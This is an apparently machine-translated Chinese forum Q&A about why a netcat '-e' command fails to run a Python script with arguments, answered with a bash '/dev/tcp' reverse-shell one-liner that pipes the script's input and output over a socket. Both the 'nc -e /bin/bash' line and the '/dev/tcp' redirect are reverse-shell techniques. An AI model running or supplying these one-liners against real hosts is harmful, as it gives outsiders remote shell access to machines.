所以这是一个奇怪的问题。
python script.py -a 1234
有效
/usr/bin/python /tmp/script.py -a 1234
有效
nc 127.0.0.1 443 -e /bin/bash
有效
nc 127.0.0.1 443 -e /usr/bin/python /tmp/script.py -a 1234
失败,all-A-records NIY
nc 127.0.0.1 443 -e "/usr/bin/python /tmp/script.py -a 1234"
失败,failed : No such file or directory
我在这里错过了什么吗?我不确定为什么这行不通。
答案 0 :(得分:0)
好的,我不确定netcat是怎么回事,但是做一个老式的bash反向外壳程序就可以很好地解决问题。
/usr/bin/python -u /tmp/script.py >& /dev/tcp/127.0.0.1/443 0>&1
这里有个简短的说明,请确保包含-u
,否则将从套接字获取传入的数据,但脚本的输出将不会通过套接字返回。